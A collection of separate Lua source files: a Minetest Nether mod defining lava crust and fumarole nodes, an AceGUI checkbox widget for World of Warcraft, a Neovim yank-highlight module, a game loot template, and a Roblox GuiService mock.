-- a place to store the original ABM function so nether.cool_lava() can call it
local original_cool_lava_action
nether.cool_lava = function(pos, node)
local pos_above = {x = pos.x, y = pos.y + 1, z = pos.z}
local node_above = minetest.get_node(pos_above)
-- Evaporate water sitting above lava, if it's in the Nether.
-- (we don't want Nether mod to affect overworld lava mechanics)
if minetest.get_item_group(node_above.name, "water") > 0 and
pos.y < nether.DEPTH_CEILING and pos.y > nether.DEPTH_FLOOR_LAYERS then
-- cools_lava might be a better group to check for, but perhaps there's
-- something in that group that isn't a liquid and shouldn't be evaporated?
minetest.swap_node(pos_above, {name="air"})
end
-- add steam to cooling lava
minetest.add_particlespawner({
amount = 20,
time = 0.15,
minpos = {x=pos.x - 0.4, y=pos.y - 0, z=pos.z - 0.4},
maxpos = {x=pos.x + 0.4, y=pos.y + 0.5, z=pos.z + 0.4},
minvel = {x = -0.5, y = 0.5, z = -0.5},
maxvel = {x = 0.5, y = 1.5, z = 0.5},
minacc = {x = 0, y = 0.1, z = 0},
maxacc = {x = 0, y = 0.2, z = 0},
minexptime = 0.5,
maxexptime = 1.3,
minsize = 1.5,
maxsize = 3.5,
texture = "nether_particle_anim4.png",
animation = {
type = "vertical_frames",
aspect_w = 7,
aspect_h = 7,
length = 1.4,
}
})
if node.name == "nether:lava_source" or node.name == "nether:lava_crust" then
-- use swap_node to avoid triggering the lava_crust's after_destruct
minetest.swap_node(pos, {name = "nether:basalt"})
minetest.sound_play("default_cool_lava",
{pos = pos, max_hear_distance = 16, gain = 0.25}, true)
else
-- chain the original ABM action to handle conventional lava
original_cool_lava_action(pos, node)
end
end
minetest.register_on_mods_loaded(function()
-- register a bucket of Lava-sea source - but make it just the same bucket as default lava.
-- (by doing this in register_on_mods_loaded we don't need to declare a soft dependency)
if minetest.get_modpath("bucket") and minetest.global_exists("bucket") and type(bucket.liquids) == "table" then
local lava_bucket = bucket.liquids["default:lava_source"]
if lava_bucket ~= nil then
local lavasea_bucket = {}
for key, value in pairs(lava_bucket) do lavasea_bucket[key] = value end
lavasea_bucket.source = "nether:lava_source"
bucket.liquids[lavasea_bucket.source] = lavasea_bucket
end
end
-- include "nether:lava_source" in any "default:lava_source" ABMs
local function include_nether_lava(set_of_nodes)
if (type(set_of_nodes) == "table") then
for _, nodename in pairs(set_of_nodes) do
if nodename == "default:lava_source" then
-- I'm amazed this works, but it does
table.insert(set_of_nodes, "nether:lava_source")
break;
end
end
end
end
for _, abm in pairs(minetest.registered_abms) do
include_nether_lava(abm.nodenames)
include_nether_lava(abm.neighbors)
if abm.label == "Lava cooling" and abm.action ~= nil then
-- lets have lava_crust cool as well
original_cool_lava_action = abm.action
abm.action = nether.cool_lava
table.insert(abm.nodenames, "nether:lava_crust")
end
end
for _, lbm in pairs(minetest.registered_lbms) do
include_nether_lava(lbm.nodenames)
end
--minetest.log("minetest.registered_abms" .. dump(minetest.registered_abms))
--minetest.log("minetest.registered_lbms" .. dump(minetest.registered_lbms))
end)
-- creates a lava splash, and leaves lava_source in place of the lava_crust
local function smash_lava_crust(pos, playsound)
local lava_particlespawn_def = {
amount = 6,
time = 0.1,
minpos = {x=pos.x - 0.5, y=pos.y + 0.3, z=pos.z - 0.5},
maxpos = {x=pos.x + 0.5, y=pos.y + 0.5, z=pos.z + 0.5},
minvel = {x = -1.5, y = 1.5, z = -1.5},
maxvel = {x = 1.5, y = 5, z = 1.5},
minacc = {x = 0, y = -10, z = 0},
maxacc = {x = 0, y = -10, z = 0},
minexptime = 1,
maxexptime = 1,
minsize = .2,
maxsize = .8,
texture = "^[colorize:#A00:255",
glow = 8
}
minetest.add_particlespawner(lava_particlespawn_def)
lava_particlespawn_def.texture = "^[colorize:#FB0:255"
lava_particlespawn_def.maxvel.y = 3
lava_particlespawn_def.glow = 12
minetest.add_particlespawner(lava_particlespawn_def)
minetest.set_node(pos, {name = "default:lava_source"})
if math.random(1, 3) == 1 and minetest.registered_nodes["fire:basic_flame"] ~= nil then
-- occasionally brief flames will be seen when breaking lava crust
local posAbove = {x = pos.x, y = pos.y + 1, z = pos.z}
if minetest.get_node(posAbove).name == "air" then
minetest.set_node(posAbove, {name = "fire:basic_flame"})
minetest.get_node_timer(posAbove):set(math.random(7, 15) / 10, 0)
--[[ commented out because the flame sound plays for too long
if minetest.global_exists("fire") and fire.update_player_sound ~= nil then
-- The fire mod only updates its sound every 3 seconds, these flames will be
-- out by then, so start the sound immediately
local players = minetest.get_connected_players()
for n = 1, #players do fire.update_player_sound(players[n]) end
end]]
end
end
if playsound then
minetest.sound_play(
"nether_lava_bubble",
-- this sample was encoded at 3x speed to reduce .ogg file size
-- at the expense of higher frequencies, so pitch it down ~3x
{pos = pos, pitch = 0.3, max_hear_distance = 8, gain = 0.4}
)
end
end
-- lava_crust nodes can only be used in the biomes-based mapgen, since they require
-- the MT 5.0 world-align texture features.
minetest.register_node("nether:lava_crust", {
description = S("Lava Crust"),
_doc_items_longdesc = S("A thin crust of cooled lava with liquid lava beneath"),
_doc_items_usagehelp = S("Lava crust is strong enough to walk on, but still hot enough to inflict burns."),
tiles = {
{
name="nether_lava_crust_animated.png",
backface_culling=true,
tileable_vertical=true,
tileable_horizontal=true,
align_style="world",
scale=2,
animation = {
type = "vertical_frames",
aspect_w = 32,
aspect_h = 32,
length = 1.8,
},
}
},
inventory_image = minetest.inventorycube(
"nether_lava_crust_animated.png^[sheet:2x48:0,0",
"nether_lava_crust_animated.png^[sheet:2x48:0,1",
"nether_lava_crust_animated.png^[sheet:2x48:1,1"
),
collision_box = {
type = "fixed",
fixed = {
-- Damage is calculated "starting 0.1 above feet
-- and progressing upwards in 1 node intervals", so
-- lower this node's collision box by more than 0.1
-- to ensure damage will be taken when standing on
-- the node.
{-0.5, -0.5, -0.5, 0.5, 0.39, 0.5}
},
},
selection_box = {
type = "fixed",
fixed = {
-- Keep the selection box matching the visual node,
-- rather than the collision_box.
{-0.5, -0.5, -0.5, 0.5, 0.5, 0.5}
},
},
after_destruct = function(pos, oldnode)
smash_lava_crust(pos, true)
end,
after_dig_node = function(pos, oldnode, oldmetadata, digger)
end,
on_blast = function(pos, intensity)
smash_lava_crust(pos, false)
end,
paramtype = "light",
light_source = default.LIGHT_MAX - 3,
buildable_to = false,
walkable = true,
is_ground_content = true,
drop = {
items = {{
-- Allow SilkTouch-esque "pickaxes of preservation" to mine the lava crust intact, if PR #10141 gets merged.
tools = {"this line will block early MT versions which don't respect the tool_groups restrictions"},
tool_groups = {{"pickaxe", "preservation"}},
items = {"nether:lava_crust"}
}}
},
--liquid_viscosity = 7,
damage_per_second = 2,
groups = {oddly_breakable_by_hand = 3, cracky = 3, explody = 1, igniter = 1},
})
-- Fumaroles (Chimney's)
local function fumarole_startTimer(pos, timeout_factor)
if timeout_factor == nil then timeout_factor = 1 end
local next_timeout = (math.random(50, 900) / 10) * timeout_factor
minetest.get_meta(pos):set_float("expected_timeout", next_timeout)
minetest.get_node_timer(pos):start(next_timeout)
end
-- Create an LBM to start fumarole node timers
minetest.register_lbm({
label = "Start fumarole smoke",
name = "nether:start_fumarole",
nodenames = {"nether:fumarole"},
run_at_every_load = true,
action = function(pos, node)
local node_above = minetest.get_node({x = pos.x, y = pos.y + 1, z = pos.z})
if node_above.name == "air" then --and node.param2 % 4 == 0 then
fumarole_startTimer(pos)
end
end
})
local function set_fire(pos, extinguish)
local posBelow = {x = pos.x, y = pos.y - 1, z = pos.z}
if extinguish then
if minetest.get_node(pos).name == "fire:permanent_flame" then minetest.set_node(pos, {name="air"}) end
if minetest.get_node(posBelow).name == "fire:permanent_flame" then minetest.set_node(posBelow, {name="air"}) end
elseif minetest.get_node(posBelow).name == "air" then
minetest.set_node(posBelow, {name="fire:permanent_flame"})
elseif minetest.get_node(pos).name == "air" then
minetest.set_node(pos, {name="fire:permanent_flame"})
end
end
local function fumarole_onTimer(pos, elapsed)
local expected_timeout = minetest.get_meta(pos):get_float("expected_timeout")
if elapsed > expected_timeout + 10 then
-- The timer didn't fire when it was supposed to, so the chunk was probably inactive and has
-- just been approached again, meaning *every* fumarole's on_timer is about to go off.
-- Skip this event and restart the clock for a future random interval.
fumarole_startTimer(pos, 1)
return false
end
-- Fumaroles in the Nether can catch fire.
-- (if taken to the surface and used as cottage chimneys, they don't catch fire)
local inNether = pos.y <= nether.DEPTH and pos.y >= nether.DEPTH_FLOOR_LAYERS
local canCatchFire = inNether and minetest.registered_nodes["fire:permanent_flame"] ~= nil
local smoke_offset = 0
local timeout_factor = 1
local smoke_time_adj = 1
local posAbove = {x = pos.x, y = pos.y + 1, z = pos.z}
local extinguish = minetest.get_node(posAbove).name ~= "air"
if extinguish or (canCatchFire and math.floor(elapsed) % 7 == 0) then
if not extinguish then
-- fumarole gasses are igniting
smoke_offset = 1
timeout_factor = 0.22 -- reduce burning time
end
set_fire(posAbove, extinguish)
set_fire({x = pos.x + 1, y = pos.y + 1, z = pos.z}, extinguish)
set_fire({x = pos.x - 1, y = pos.y + 1, z = pos.z}, extinguish)
set_fire({x = pos.x, y = pos.y + 1, z = pos.z + 1}, extinguish)
set_fire({x = pos.x, y = pos.y + 1, z = pos.z - 1}, extinguish)
elseif inNether then
if math.floor(elapsed) % 3 == 1 then
-- throw up some embers / lava splash
local embers_particlespawn_def = {
amount = 6,
time = 0.1,
minpos = {x=pos.x - 0.1, y=pos.y + 0.0, z=pos.z - 0.1},
maxpos = {x=pos.x + 0.1, y=pos.y + 0.2, z=pos.z + 0.1},
minvel = {x = -.5, y = 4.5, z = -.5},
maxvel = {x = .5, y = 7, z = .5},
minacc = {x = 0, y = -10, z = 0},
maxacc = {x = 0, y = -10, z = 0},
minexptime = 1.4,
maxexptime = 1.4,
minsize = .2,
maxsize = .8,
texture = "^[colorize:#A00:255",
glow = 8
}
minetest.add_particlespawner(embers_particlespawn_def)
embers_particlespawn_def.texture = "^[colorize:#A50:255"
embers_particlespawn_def.maxvel.y = 3
embers_particlespawn_def.glow = 12
minetest.add_particlespawner(embers_particlespawn_def)
else
-- gas noises
minetest.sound_play("nether_fumarole", {
pos = pos,
max_hear_distance = 60,
gain = 0.24,
pitch = math.random(35, 95) / 100
})
end
else
-- we're not in the Nether, so can afford to be a bit more smokey
timeout_factor = 0.4
smoke_time_adj = 1.3
end
-- let out some smoke
minetest.add_particlespawner({
amount = 12 * smoke_time_adj,
time = math.random(40, 60) / 10 * smoke_time_adj,
minpos = {x=pos.x - 0.2, y=pos.y + smoke_offset, z=pos.z - 0.2},
maxpos = {x=pos.x + 0.2, y=pos.y + smoke_offset, z=pos.z + 0.2},
minvel = {x=0, y=0.7, z=-0},
maxvel = {x=0, y=0.8, z=-0},
minacc = {x=0.0,y=0.0,z=-0},
maxacc = {x=0.0,y=0.1,z=-0},
minexptime = 5,
maxexptime = 5.5,
minsize = 1.5,
maxsize = 7,
texture = "nether_smoke_puff.png",
})
fumarole_startTimer(pos, timeout_factor)
return false
end
minetest.register_node("nether:fumarole", {
description=S("Fumarolic Chimney"),
_doc_items_longdesc = S("A vent in the earth emitting steam and gas"),
_doc_items_usagehelp = S("Can be repurposed to provide puffs of smoke in a chimney"),
tiles = {"nether_rack.png"},
on_timer = fumarole_onTimer,
after_place_node = function(pos, placer, itemstack, pointed_thing)
fumarole_onTimer(pos, 1)
return false
end,
is_ground_content = true,
groups = {cracky = 3, level = 2, fumarole=1},
paramtype = "light",
drawtype = "nodebox",
node_box = {
type = "fixed",
fixed = {
{-0.5000, -0.5000, -0.5000, -0.2500, 0.5000, 0.5000},
{-0.5000, -0.5000, -0.5000, 0.5000, 0.5000, -0.2500},
{-0.5000, -0.5000, 0.2500, 0.5000, 0.5000, 0.5000},
{0.2500, -0.5000, -0.5000, 0.5000, 0.5000, 0.5000}
}
},
selection_box = {type = 'fixed', fixed = {-.5, -.5, -.5, .5, .5, .5}}
})
minetest.register_node("nether:fumarole_slab", {
description=S("Fumarolic Chimney Slab"),
_doc_items_longdesc = S("A vent in the earth emitting steam and gas"),
_doc_items_usagehelp = S("Can be repurposed to provide puffs of smoke in a chimney"),
tiles = {"nether_rack.png"},
is_ground_content = true,
on_timer = fumarole_onTimer,
after_place_node = function(pos, placer, itemstack, pointed_thing)
fumarole_onTimer(pos, 1)
return false
end,
groups = {cracky = 3, level = 2, fumarole=1},
paramtype = "light",
drawtype = "nodebox",
node_box = {
type = "fixed",
fixed = {
{-0.5000, -0.5000, -0.5000, -0.2500, 0.000, 0.5000},
{-0.5000, -0.5000, -0.5000, 0.5000, 0.000, -0.2500},
{-0.5000, -0.5000, 0.2500, 0.5000, 0.000, 0.5000},
{0.2500, -0.5000, -0.5000, 0.5000, 0.000, 0.5000}
}
},
selection_box = {type = 'fixed', fixed = {-.5, -.5, -.5, .5, 0, .5}},
collision_box = {type = 'fixed', fixed = {-.5, -.5, -.5, .5, 0, .5}}
})
minetest.register_node("nether:fumarole_corner", {
description=S("Fumarolic Chimney Corner"),
tiles = {"nether_rack.png"},
is_ground_content = true,
groups = {cracky = 3, level = 2, fumarole=1},
paramtype = "light",
paramtype2 = "facedir",
drawtype = "nodebox",
node_box = {
type = "fixed",
fixed = {
{-0.2500, -0.5000, 0.5000, 0.000, 0.5000, 0.000},
{-0.5000, -0.5000, 0.2500, 0.000, 0.5000, 0.000},
{-0.5000, -0.5000, 0.2500, 0.000, 0.000, -0.5000},
{0.000, -0.5000, -0.5000, 0.5000, 0.000, 0.5000}
}
},
selection_box = {
type = 'fixed',
fixed = {
{-.5, -.5, -.5, .5, 0, .5},
{0, 0, .5, -.5, .5, 0},
}
}
})
-- nether:airlike_darkness is an air node through which light does not propagate.
-- Use of it should be avoided when possible as it has the appearance of a lighting bug.
-- Fumarole decorations use it to stop the propagation of light from the lava below,
-- since engine limitations mean any mesh or nodebox node will light up if it has lava
-- below it.
local airlike_darkness = {}
for k,v in pairs(minetest.registered_nodes["air"]) do airlike_darkness[k] = v end
airlike_darkness.paramtype = "none"
minetest.register_node("nether:airlike_darkness", airlike_darkness)
|
--[[-----------------------------------------------------------------------------
Checkbox Widget
-------------------------------------------------------------------------------]]
local Type, Version = "CheckBox", 23
local AceGUI = LibStub and LibStub("AceGUI-3.0", true)
if not AceGUI or (AceGUI:GetWidgetVersion(Type) or 0) >= Version then return end
-- Lua APIs
local select, pairs = select, pairs
-- WoW APIs
local PlaySound = PlaySound
local CreateFrame, UIParent = CreateFrame, UIParent
-- Global vars/functions that we don't upvalue since they might get hooked, or upgraded
-- List them here for Mikk's FindGlobals script
-- GLOBALS: SetDesaturation, GameFontHighlight
--[[-----------------------------------------------------------------------------
Support functions
-------------------------------------------------------------------------------]]
local function AlignImage(self)
local img = self.image:GetTexture()
self.text:ClearAllPoints()
if not img then
self.text:SetPoint("LEFT", self.checkbg, "RIGHT")
self.text:SetPoint("RIGHT")
else
self.text:SetPoint("LEFT", self.image,"RIGHT", 1, 0)
self.text:SetPoint("RIGHT")
end
end
--[[-----------------------------------------------------------------------------
Scripts
-------------------------------------------------------------------------------]]
local function Control_OnEnter(frame)
frame.obj:Fire("OnEnter")
end
local function Control_OnLeave(frame)
frame.obj:Fire("OnLeave")
end
local function CheckBox_OnMouseDown(frame)
local self = frame.obj
if not self.disabled then
if self.image:GetTexture() then
self.text:SetPoint("LEFT", self.image,"RIGHT", 2, -1)
else
self.text:SetPoint("LEFT", self.checkbg, "RIGHT", 1, -1)
end
end
AceGUI:ClearFocus()
end
local function CheckBox_OnMouseUp(frame)
local self = frame.obj
if not self.disabled then
self:ToggleChecked()
if self.checked then
PlaySound(856) -- SOUNDKIT.IG_MAINMENU_OPTION_CHECKBOX_ON
else -- for both nil and false (tristate)
PlaySound(857) -- SOUNDKIT.IG_MAINMENU_OPTION_CHECKBOX_OFF
end
self:Fire("OnValueChanged", self.checked)
AlignImage(self)
end
end
--[[-----------------------------------------------------------------------------
Methods
-------------------------------------------------------------------------------]]
local methods = {
["OnAcquire"] = function(self)
self:SetType()
self:SetValue(false)
self:SetTriState(nil)
-- height is calculated from the width and required space for the description
self:SetWidth(200)
self:SetImage()
self:SetDisabled(nil)
self:SetDescription(nil)
end,
-- ["OnRelease"] = nil,
["OnWidthSet"] = function(self, width)
if self.desc then
self.desc:SetWidth(width - 30)
if self.desc:GetText() and self.desc:GetText() ~= "" then
self:SetHeight(28 + self.desc:GetHeight())
end
end
end,
["SetDisabled"] = function(self, disabled)
self.disabled = disabled
if disabled then
self.frame:Disable()
self.text:SetTextColor(0.5, 0.5, 0.5)
SetDesaturation(self.check, true)
if self.desc then
self.desc:SetTextColor(0.5, 0.5, 0.5)
end
else
self.frame:Enable()
self.text:SetTextColor(1, 1, 1)
if self.tristate and self.checked == nil then
SetDesaturation(self.check, true)
else
SetDesaturation(self.check, false)
end
if self.desc then
self.desc:SetTextColor(1, 1, 1)
end
end
end,
["SetValue"] = function(self,value)
local check = self.check
self.checked = value
if value then
SetDesaturation(self.check, false)
self.check:Show()
else
--Nil is the unknown tristate value
if self.tristate and value == nil then
SetDesaturation(self.check, true)
self.check:Show()
else
SetDesaturation(self.check, false)
self.check:Hide()
end
end
self:SetDisabled(self.disabled)
end,
["GetValue"] = function(self)
return self.checked
end,
["SetTriState"] = function(self, enabled)
self.tristate = enabled
self:SetValue(self:GetValue())
end,
["SetType"] = function(self, type)
local checkbg = self.checkbg
local check = self.check
local highlight = self.highlight
local size
if type == "radio" then
size = 16
checkbg:SetTexture("Interface\\Buttons\\UI-RadioButton")
checkbg:SetTexCoord(0, 0.25, 0, 1)
check:SetTexture("Interface\\Buttons\\UI-RadioButton")
check:SetTexCoord(0.25, 0.5, 0, 1)
check:SetBlendMode("ADD")
highlight:SetTexture("Interface\\Buttons\\UI-RadioButton")
highlight:SetTexCoord(0.5, 0.75, 0, 1)
else
size = 24
checkbg:SetTexture("Interface\\Buttons\\UI-CheckBox-Up")
checkbg:SetTexCoord(0, 1, 0, 1)
check:SetTexture("Interface\\Buttons\\UI-CheckBox-Check")
check:SetTexCoord(0, 1, 0, 1)
check:SetBlendMode("BLEND")
highlight:SetTexture("Interface\\Buttons\\UI-CheckBox-Highlight")
highlight:SetTexCoord(0, 1, 0, 1)
end
checkbg:SetHeight(size)
checkbg:SetWidth(size)
end,
["ToggleChecked"] = function(self)
local value = self:GetValue()
if self.tristate then
--cycle in true, nil, false order
if value then
self:SetValue(nil)
elseif value == nil then
self:SetValue(false)
else
self:SetValue(true)
end
else
self:SetValue(not self:GetValue())
end
end,
["SetLabel"] = function(self, label)
self.text:SetText(label)
end,
["SetDescription"] = function(self, desc)
if desc then
if not self.desc then
local desc = self.frame:CreateFontString(nil, "OVERLAY", "GameFontHighlightSmall")
desc:ClearAllPoints()
desc:SetPoint("TOPLEFT", self.checkbg, "TOPRIGHT", 5, -21)
desc:SetWidth(self.frame.width - 30)
desc:SetJustifyH("LEFT")
desc:SetJustifyV("TOP")
self.desc = desc
end
self.desc:Show()
--self.text:SetFontObject(GameFontNormal)
self.desc:SetText(desc)
self:SetHeight(28 + self.desc:GetHeight())
else
if self.desc then
self.desc:SetText("")
self.desc:Hide()
end
--self.text:SetFontObject(GameFontHighlight)
self:SetHeight(24)
end
end,
["SetImage"] = function(self, path, ...)
local image = self.image
image:SetTexture(path)
if image:GetTexture() then
local n = select("#", ...)
if n == 4 or n == 8 then
image:SetTexCoord(...)
else
image:SetTexCoord(0, 1, 0, 1)
end
end
AlignImage(self)
end
}
--[[-----------------------------------------------------------------------------
Constructor
-------------------------------------------------------------------------------]]
local function Constructor()
local frame = CreateFrame("Button", nil, UIParent)
frame:Hide()
frame:EnableMouse(true)
frame:SetScript("OnEnter", Control_OnEnter)
frame:SetScript("OnLeave", Control_OnLeave)
frame:SetScript("OnMouseDown", CheckBox_OnMouseDown)
frame:SetScript("OnMouseUp", CheckBox_OnMouseUp)
local checkbg = frame:CreateTexture(nil, "ARTWORK")
checkbg:SetWidth(24)
checkbg:SetHeight(24)
checkbg:SetPoint("TOPLEFT")
checkbg:SetTexture("Interface\\Buttons\\UI-CheckBox-Up")
local check = frame:CreateTexture(nil, "OVERLAY")
check:SetAllPoints(checkbg)
check:SetTexture("Interface\\Buttons\\UI-CheckBox-Check")
local text = frame:CreateFontString(nil, "OVERLAY", "GameFontHighlight")
text:SetJustifyH("LEFT")
text:SetHeight(18)
text:SetPoint("LEFT", checkbg, "RIGHT")
text:SetPoint("RIGHT")
local highlight = frame:CreateTexture(nil, "HIGHLIGHT")
highlight:SetTexture("Interface\\Buttons\\UI-CheckBox-Highlight")
highlight:SetBlendMode("ADD")
highlight:SetAllPoints(checkbg)
local image = frame:CreateTexture(nil, "OVERLAY")
image:SetHeight(16)
image:SetWidth(16)
image:SetPoint("LEFT", checkbg, "RIGHT", 1, 0)
local widget = {
checkbg = checkbg,
check = check,
text = text,
highlight = highlight,
image = image,
frame = frame,
type = Type
}
for method, func in pairs(methods) do
widget[method] = func
end
return AceGUI:RegisterAsWidget(widget)
end
AceGUI:RegisterWidgetType(Type, Constructor, Version)
|
local api = vim.api
local M = {}
M.priorities = {
syntax = 50,
treesitter = 100,
diagnostics = 150,
user = 200,
}
---@private
function M.create(higroup, hi_info, default)
local options = {}
-- TODO: Add validation
for k, v in pairs(hi_info) do
table.insert(options, string.format('%s=%s', k, v))
end
vim.cmd(string.format([[highlight %s %s %s]], default and 'default' or '', higroup, table.concat(options, ' ')))
end
---@private
function M.link(higroup, link_to, force)
vim.cmd(string.format([[highlight%s link %s %s]], force and '!' or ' default', higroup, link_to))
end
--- Highlight range between two positions
---
---@param bufnr number of buffer to apply highlighting to
---@param ns namespace to add highlight to
---@param higroup highlight group to use for highlighting
---@param start first position (tuple {line,col})
---@param finish second position (tuple {line,col})
---@param opts table with options:
-- - regtype type of range (:help setreg, default charwise)
-- - inclusive boolean indicating whether the range is end-inclusive (default false)
-- - priority number indicating priority of highlight (default priorities.user)
function M.range(bufnr, ns, higroup, start, finish, opts)
opts = opts or {}
local regtype = opts.regtype or 'v'
local inclusive = opts.inclusive or false
local priority = opts.priority or M.priorities.user
-- sanity check
if start[2] < 0 or finish[1] < start[1] then
return
end
local region = vim.region(bufnr, start, finish, regtype, inclusive)
for linenr, cols in pairs(region) do
local end_row
if cols[2] == -1 then
end_row = linenr + 1
cols[2] = 0
end
api.nvim_buf_set_extmark(bufnr, ns, linenr, cols[1], {
hl_group = higroup,
end_row = end_row,
end_col = cols[2],
priority = priority,
strict = false,
})
end
end
local yank_ns = api.nvim_create_namespace 'hlyank'
--- Highlight the yanked region
---
--- use from init.vim via
--- au TextYankPost * lua vim.highlight.on_yank()
--- customize highlight group and timeout via
--- au TextYankPost * lua vim.highlight.on_yank {higroup="IncSearch", timeout=150}
--- customize conditions (here: do not highlight a visual selection) via
--- au TextYankPost * lua vim.highlight.on_yank {on_visual=false}
---
-- @param opts table with options controlling the highlight:
-- - higroup highlight group for yanked region (default "IncSearch")
-- - timeout time in ms before highlight is cleared (default 150)
-- - on_macro highlight when executing macro (default false)
-- - on_visual highlight when yanking visual selection (default true)
-- - event event structure (default vim.v.event)
function M.on_yank(opts)
vim.validate({
opts = {
opts,
function(t)
if t == nil then
return true
else
return type(t) == 'table'
end
end,
'a table or nil to configure options (see `:h highlight.on_yank`)',
},
})
opts = opts or {}
local event = opts.event or vim.v.event
local on_macro = opts.on_macro or false
local on_visual = (opts.on_visual ~= false)
if not on_macro and vim.fn.reg_executing() ~= '' then
return
end
if event.operator ~= 'y' or event.regtype == '' then
return
end
if not on_visual and event.visual then
return
end
local higroup = opts.higroup or 'IncSearch'
local timeout = opts.timeout or 150
local bufnr = api.nvim_get_current_buf()
api.nvim_buf_clear_namespace(bufnr, yank_ns, 0, -1)
local pos1 = vim.fn.getpos "'["
local pos2 = vim.fn.getpos "']"
pos1 = { pos1[2] - 1, pos1[3] - 1 + pos1[4] }
pos2 = { pos2[2] - 1, pos2[3] - 1 + pos2[4] }
M.range(
bufnr,
yank_ns,
higroup,
pos1,
pos2,
{ regtype = event.regtype, inclusive = event.inclusive, priority = M.priorities.user }
)
vim.defer_fn(function()
if api.nvim_buf_is_valid(bufnr) then
api.nvim_buf_clear_namespace(bufnr, yank_ns, 0, -1)
end
end, timeout)
end
return M
|
object_tangible_loot_creature_loot_collections_fried_icecream_components_tatooine_bestinnian = object_tangible_loot_creature_loot_collections_fried_icecream_components_tatooine_shared_bestinnian:new {
}
ObjectTemplates:addTemplate(object_tangible_loot_creature_loot_collections_fried_icecream_components_tatooine_bestinnian, "object/tangible/loot/creature/loot/collections/fried/icecream/components/tatooine/bestinnian.iff")
|
require('components/zonecontrol/blink')
require('components/zonecontrol/zones')
require('components/zonecontrol/cleaner')
-- require('components/zonecontrol/test')
|
local BaseInstance = import("./BaseInstance")
local validateType = import("../validateType")
local GuiService = BaseInstance:extend("GuiService")
function GuiService.prototype.BroadcastNotification(data, notification)
validateType("data", data, "string")
validateType("noficiation", notification, "number")
end
function GuiService.prototype.GetNotificationTypeList()
return {
VIEW_SUB_PAGE_IN_MORE = "VIEW_SUB_PAGE_IN_MORE",
ACTION_LOG_OUT = "ACTION_LOG_OUT",
}
end
function GuiService.prototype.SetGlobalGuiInset(x1, y1, x2, y2)
validateType("x1", x1, "number")
validateType("y1", y1, "number")
validateType("x2", x2, "number")
validateType("y2", y2, "number")
end
function GuiService.prototype.SafeZoneOffsetsChanged()
end
return GuiService |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.